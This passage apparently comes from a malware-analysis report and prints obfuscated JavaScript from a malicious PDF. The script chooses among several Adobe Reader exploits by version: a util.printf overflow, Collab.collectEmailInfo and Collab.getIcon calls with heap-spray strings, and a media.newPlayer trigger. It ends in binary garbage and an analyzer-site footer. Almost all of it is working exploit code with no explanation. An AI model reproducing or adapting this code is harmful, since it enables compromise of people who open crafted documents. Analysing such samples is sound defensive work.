util.printf("%45000f", iVvCdy8);
}
if (IyIFVe < 8){
x8EvTm(0);
var UNXaCTHb = unescape("%u0c0c%u0c0c");
while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;
this .collabStore = Collab.collectEmailInfo({ subj : "", msg : UNXaCTHb});
}
if (IyIFVe < 9.1){
if (app.doc.Collab.getIcon)
{
x8EvTm(0);
var eGREUTNw = unescape("%09");
while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;
eGREUTNw = "N." + eGREUTNw;
app.doc.Collab.getIcon(eGREUTNw);
}
}
if (IyIFVe == 9.2){
x8EvTm(1);
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
try
{
media.newPlayer(null);
} catch(e)
{}
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}
}
U2UcYKr();
-:\Xi\\XXi8H-XH:XH-HX:\H:8HX\\\XHH\\8HXiXi8\HXH-\XHH\=\\{\\{Xx\{xxxxXxX{x{XX{XX}={={{}{X}X{X=XHLi{X{{ix{{{xxXi{{\X\XXLi{LixxxX��H�yh��
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.